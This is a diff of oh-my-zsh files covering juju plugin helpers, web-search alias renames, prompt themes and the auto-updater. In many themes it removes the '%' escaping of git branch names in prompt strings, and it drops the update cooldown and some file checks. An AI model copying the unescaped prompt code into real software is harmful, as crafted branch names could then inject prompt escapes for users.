timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller
timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null
@@ -154,11 +165,10 @@ jreld() {
# Return Juju current controller # Return Juju current controller
jcontroller() { jcontroller() {
local file="${JUJU_DATA:-$HOME/.local/share/juju}/controllers.yaml" local controller="$(awk '/current-controller/ {print $2}' ~/.local/share/juju/controllers.yaml)"
[[ -f "$file" ]] || return 1 if [[ -z "$controller" ]]; then
return 1
local controller="$(awk '/current-controller/ {print $2}' "$file")" fi
[[ -z "$controller" ]] && return 1
echo $controller echo $controller
return 0 return 0
@@ -166,9 +176,6 @@ jcontroller() {
# Return Juju current model # Return Juju current model
jmodel() { jmodel() {
local file="${JUJU_DATA:-$HOME/.local/share/juju}/models.yaml"
[[ -f "$file" ]] || return 1
local yqbin="$(whereis yq | awk '{print $2}')" local yqbin="$(whereis yq | awk '{print $2}')"
if [[ -z "$yqbin" ]]; then if [[ -z "$yqbin" ]]; then
@@ -176,10 +183,9 @@ jmodel() {
return 1 return 1
fi fi
local controller="$(jcontroller)" local model="$(yq e ".controllers.$(jcontroller).current-model" < ~/.local/share/juju/models.yaml | cut -d/ -f2)"
local model="$(yq e ".controllers.[\"${controller}\"].current-model" < "${file}" | cut -d/ -f2)"
if [[ -z "$model" || $model == "null" ]]; then if [[ -z "$model" ]]; then
echo "--" echo "--"
return 1 return 1
fi fi
@@ -188,10 +194,9 @@ jmodel() {
return 0 return 0
} }
# Watch juju status, with optional interval (default: 1 sec) # Watch juju status, with optional interval (default: 5 sec)
wjst() { wjst() {
command -v juju >/dev/null 2>&1 || return 1 local interval="${1:-5}"
local interval="${1:-1}"
shift $(( $# > 0 )) shift $(( $# > 0 ))
watch -n "$interval" --color juju status --relations --color "$@" watch -n "$interval" --color juju status --relations --color "$@"
} }

View File

@@ -53,7 +53,7 @@ Available search contexts are:
| `gopkg` | `https://pkg.go.dev/search?m=package&q=` | | `gopkg` | `https://pkg.go.dev/search?m=package&q=` |
| `chatgpt` | `https://chatgpt.com/?q=` | | `chatgpt` | `https://chatgpt.com/?q=` |
| `claudeai` | `https://claude.ai/new?q=` | | `claudeai` | `https://claude.ai/new?q=` |
| `grokcom` | `https://grok.com/?q=` | | `grok` | `https://grok.com/?q=` |
| `reddit` | `https://www.reddit.com/search/?q=` | | `reddit` | `https://www.reddit.com/search/?q=` |
| `ppai` | `https://www.perplexity.ai/search/new?q=` | | `ppai` | `https://www.perplexity.ai/search/new?q=` |
| `rscrate` | `https://crates.io/search?q=` | | `rscrate` | `https://crates.io/search?q=` |

View File

@@ -93,7 +93,7 @@ alias npmpkg='web_search npmpkg'
alias packagist='web_search packagist' alias packagist='web_search packagist'
alias gopkg='web_search gopkg' alias gopkg='web_search gopkg'
alias chatgpt='web_search chatgpt' alias chatgpt='web_search chatgpt'
alias grokcom='web_search grok' alias grok='web_search grok'
alias claudeai='web_search claudeai' alias claudeai='web_search claudeai'
alias reddit='web_search reddit' alias reddit='web_search reddit'
alias ppai='web_search ppai' alias ppai='web_search ppai'

View File

@@ -28,12 +28,9 @@ ZSH_THEME="robbyrussell"
# zstyle ':omz:update' mode auto # update automatically without asking # zstyle ':omz:update' mode auto # update automatically without asking
# zstyle ':omz:update' mode reminder # just remind me to update when it's time # zstyle ':omz:update' mode reminder # just remind me to update when it's time
# Uncomment the following line to change the frequency the auto-updater is run (in days). # Uncomment the following line to change how often to auto-update (in days).
# zstyle ':omz:update' frequency 13 # zstyle ':omz:update' frequency 13
# Uncomment the following line to set how old an update must be before it's applied, manually or via the auto-updater (in days).
# zstyle ':omz:update' cooldown 10
# Uncomment the following line if pasting URLs and other text is messed up. # Uncomment the following line if pasting URLs and other text is messed up.
# DISABLE_MAGIC_FUNCTIONS="true" # DISABLE_MAGIC_FUNCTIONS="true"

View File

@@ -16,8 +16,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN=""
git_custom_status() { git_custom_status() {
local cb=$(git_current_branch) local cb=$(git_current_branch)
if [ -n "$cb" ]; then if [ -n "$cb" ]; then
cb="${cb//\%/%%}" echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX$(git_current_branch)$ZSH_THEME_GIT_PROMPT_SUFFIX"
echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX${cb}$ZSH_THEME_GIT_PROMPT_SUFFIX"
fi fi
} }

View File

@@ -10,7 +10,6 @@ ZSH_THEME_GIT_PROMPT_CLEAN=""
git_custom_status() { git_custom_status() {
local branch=$(git_current_branch) local branch=$(git_current_branch)
[[ -n "$branch" ]] || return 0 [[ -n "$branch" ]] || return 0
branch="${branch//\%/%%}"
print "%{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ print "%{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\
${ZSH_THEME_GIT_PROMPT_PREFIX}$(parse_git_dirty)${branch}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}$(parse_git_dirty)${branch}\
${ZSH_THEME_GIT_PROMPT_SUFFIX}" ${ZSH_THEME_GIT_PROMPT_SUFFIX}"

View File

@@ -60,7 +60,14 @@ ZSH_THEME_GIT_PROMPT_UNMERGED="%{$fg[yellow]%} %{%G═%}"
ZSH_THEME_GIT_PROMPT_UNTRACKED="%{$fg[cyan]%} %{%G✭%}" ZSH_THEME_GIT_PROMPT_UNTRACKED="%{$fg[cyan]%} %{%G✭%}"
# Use extended characters to look nicer if supported. # Use extended characters to look nicer if supported.
if [[ "${langinfo[CODESET]}" = UTF-8 ]]; then if [[ "${TERM_PROGRAM:-}" = ghostty ]]; then
PR_SET_CHARSET=""
PR_HBAR="-"
PR_ULCORNER="-"
PR_LLCORNER="-"
PR_LRCORNER="-"
PR_URCORNER="-"
elif [[ "${langinfo[CODESET]}" = UTF-8 ]]; then
PR_SET_CHARSET="" PR_SET_CHARSET=""
PR_HBAR="─" PR_HBAR="─"
PR_ULCORNER="┌" PR_ULCORNER="┌"

View File

@@ -31,7 +31,7 @@ function josh_prompt {
prompt=" $prompt" prompt=" $prompt"
done done
prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} ${branch//\%/%%}" prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} $(git_current_branch)"
echo $prompt echo $prompt
} }

View File

@@ -41,4 +41,4 @@ USER_COLOR=$GREEN_BOLD
PROMPT=' PROMPT='
%{$USER_COLOR%}%n@%m%{$WHITE%}:%{$YELLOW%}%~%u$(parse_git_dirty)$(git_prompt_ahead)%{$RESET_COLOR%} %{$USER_COLOR%}%n@%m%{$WHITE%}:%{$YELLOW%}%~%u$(parse_git_dirty)$(git_prompt_ahead)%{$RESET_COLOR%}
%{$BLUE%}>%{$RESET_COLOR%} ' %{$BLUE%}>%{$RESET_COLOR%} '
RPROMPT='%{$GREEN_BOLD%}${$(git_current_branch)//\%/%%}$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' RPROMPT='%{$GREEN_BOLD%}$(git_current_branch)$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}'

View File

@@ -7,7 +7,7 @@ function my_git_prompt_info() {
ref=$(git symbolic-ref HEAD 2> /dev/null) || return ref=$(git symbolic-ref HEAD 2> /dev/null) || return
GIT_STATUS=$(git_prompt_status) GIT_STATUS=$(git_prompt_status)
[[ -n $GIT_STATUS ]] && GIT_STATUS=" $GIT_STATUS" [[ -n $GIT_STATUS ]] && GIT_STATUS=" $GIT_STATUS"
echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX"
} }
PROMPT='%{$fg_bold[green]%}%n@%m%{$reset_color%} %{$fg_bold[blue]%}%2~%{$reset_color%} $(my_git_prompt_info)%{$reset_color%}%B»%b ' PROMPT='%{$fg_bold[green]%}%n@%m%{$reset_color%} %{$fg_bold[blue]%}%2~%{$reset_color%} $(my_git_prompt_info)%{$reset_color%}%B»%b '

View File

@@ -31,10 +31,11 @@ local blue="%{$fg_bold[blue]%}"
local magenta="%{$fg_bold[magenta]%}" local magenta="%{$fg_bold[magenta]%}"
local reset="%{$reset_color%}" local reset="%{$reset_color%}"
local -a color_array=($green $red $cyan $yellow $blue $magenta) local -a color_array
color_array=($green $red $cyan $yellow $blue $magenta)
local username_color=$blue local username_color=$blue
local hostname_color=$color_array[$(( (#HOST) % 6 + 1 ))] # choose hostname color based on first character local hostname_color=$color_array[$[((#HOST))%6+1]] # choose hostname color based on first character
local current_dir_color=$blue local current_dir_color=$blue
local username="%n" local username="%n"
@@ -44,7 +45,7 @@ local current_dir="%~"
local username_output="%(!..${username_color}${username}${reset}@)" local username_output="%(!..${username_color}${username}${reset}@)"
local hostname_output="${hostname_color}${hostname}${reset}" local hostname_output="${hostname_color}${hostname}${reset}"
local current_dir_output="${current_dir_color}${current_dir}${reset}" local current_dir_output="${current_dir_color}${current_dir}${reset}"
local jobs_bg="${red}jobs: %j$reset" local jobs_bg="${red}fg: %j$reset"
local last_command_output="%(?.%(!.$red.$green).$yellow)" local last_command_output="%(?.%(!.$red.$green).$yellow)"
ZSH_THEME_GIT_PROMPT_PREFIX="" ZSH_THEME_GIT_PROMPT_PREFIX=""
@@ -54,10 +55,10 @@ ZSH_THEME_GIT_PROMPT_CLEAN=""
ZSH_THEME_GIT_PROMPT_UNTRACKED="$blue%%" ZSH_THEME_GIT_PROMPT_UNTRACKED="$blue%%"
ZSH_THEME_GIT_PROMPT_MODIFIED="$red*" ZSH_THEME_GIT_PROMPT_MODIFIED="$red*"
ZSH_THEME_GIT_PROMPT_ADDED="$green+" ZSH_THEME_GIT_PROMPT_ADDED="$green+"
ZSH_THEME_GIT_PROMPT_STASHED="${blue}\$" ZSH_THEME_GIT_PROMPT_STASHED="$blue$"
ZSH_THEME_GIT_PROMPT_EQUAL_REMOTE="$green=" ZSH_THEME_GIT_PROMPT_EQUAL_REMOTE="$green="
ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE="${green}>" ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE=">"
ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="${yellow}<" ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="<"
ZSH_THEME_GIT_PROMPT_DIVERGED_REMOTE="$red<>" ZSH_THEME_GIT_PROMPT_DIVERGED_REMOTE="$red<>"
function michelebologna_git_prompt { function michelebologna_git_prompt {

View File

@@ -42,9 +42,7 @@ function my_git_prompt() {
} }
function my_current_branch() { function my_current_branch() {
local branch echo $(git_current_branch || echo "(no branch)")
branch=$(git_current_branch || echo "(no branch)")
echo "${branch//\%/%%}"
} }
function ssh_connection() { function ssh_connection() {

View File

@@ -10,7 +10,6 @@ ZSH_THEME_GIT_PROMPT_CLEAN=""
git_custom_status() { git_custom_status() {
local branch=$(git_current_branch) local branch=$(git_current_branch)
[[ -n "$branch" ]] || return 0 [[ -n "$branch" ]] || return 0
branch="${branch//\%/%%}"
echo "$(parse_git_dirty)\ echo "$(parse_git_dirty)\
%{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ %{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\
${ZSH_THEME_GIT_PROMPT_PREFIX}${branch}${ZSH_THEME_GIT_PROMPT_SUFFIX}" ${ZSH_THEME_GIT_PROMPT_PREFIX}${branch}${ZSH_THEME_GIT_PROMPT_SUFFIX}"

View File

@@ -31,7 +31,7 @@ git_prompt() {
local cb=$(git_current_branch) local cb=$(git_current_branch)
if [[ -n "$cb" ]]; then if [[ -n "$cb" ]]; then
local repo_path=$(git_repo_path) local repo_path=$(git_repo_path)
echo " %{$fg_bold[grey]%}${cb//\%/%%} %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" echo " %{$fg_bold[grey]%}$cb %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)"
fi fi
} }

View File

@@ -23,8 +23,7 @@ function mygit() {
if [[ "$(git config --get oh-my-zsh.hide-status)" != "1" ]]; then if [[ "$(git config --get oh-my-zsh.hide-status)" != "1" ]]; then
ref=$(command git symbolic-ref HEAD 2> /dev/null) || \ ref=$(command git symbolic-ref HEAD 2> /dev/null) || \
ref=$(command git rev-parse --short HEAD 2> /dev/null) || return ref=$(command git rev-parse --short HEAD 2> /dev/null) || return
ref=${${ref#refs/heads/}//\%/%%} echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}$ZSH_THEME_GIT_PROMPT_SUFFIX "
echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}${ZSH_THEME_GIT_PROMPT_SUFFIX} "
fi fi
} }

View File

@@ -62,7 +62,7 @@ custom_git_prompt_status() {
# get the name of the branch we are on (copied and modified from git.zsh) # get the name of the branch we are on (copied and modified from git.zsh)
function custom_git_prompt() { function custom_git_prompt() {
ref=$(git symbolic-ref HEAD 2> /dev/null) || return ref=$(git symbolic-ref HEAD 2> /dev/null) || return
echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX"
} }
# %B sets bold text # %B sets bold text

View File

@@ -231,10 +231,6 @@ local ret=0
remote=${"$(git config --local oh-my-zsh.remote)":-origin} remote=${"$(git config --local oh-my-zsh.remote)":-origin}
branch=${"$(git config --local oh-my-zsh.branch)":-master} branch=${"$(git config --local oh-my-zsh.branch)":-master}
# cooldown: minimum age (in days) of commits to apply
local cooldown_days
zstyle -s ':omz:update' cooldown cooldown_days || cooldown_days=0
# repository state # repository state
last_head=$(git symbolic-ref --quiet --short HEAD || git rev-parse HEAD) last_head=$(git symbolic-ref --quiet --short HEAD || git rev-parse HEAD)
# checkout update branch # checkout update branch
@@ -246,20 +242,7 @@ last_commit=$(git rev-parse "$branch")
if [[ $verbose_mode != silent ]]; then if [[ $verbose_mode != silent ]]; then
printf "${BLUE}%s${RESET}\n" "Updating Oh My Zsh" printf "${BLUE}%s${RESET}\n" "Updating Oh My Zsh"
fi fi
if { if LANG= git pull --quiet --rebase $remote $branch; then
if (( cooldown_days > 0 )); then
zmodload zsh/datetime
local cutoff_epoch cooldown_ref
cutoff_epoch=$(( EPOCHSECONDS - cooldown_days * 86400 ))
LANG= git fetch --quiet $remote $branch && {
cooldown_ref=$(git log --format="%H %ct" "$remote/$branch" \
| awk -v c="$cutoff_epoch" '$2 <= c { print $1; exit }')
[[ -z "$cooldown_ref" ]] || LANG= git merge --ff-only --quiet "$cooldown_ref"
}
else
LANG= git pull --quiet --rebase $remote $branch
fi
}; then
# Check if it was really updated or not # Check if it was really updated or not
if [[ "$(git rev-parse HEAD)" = "$last_commit" ]]; then if [[ "$(git rev-parse HEAD)" = "$last_commit" ]]; then
message="Oh My Zsh is already at the latest version." message="Oh My Zsh is already at the latest version."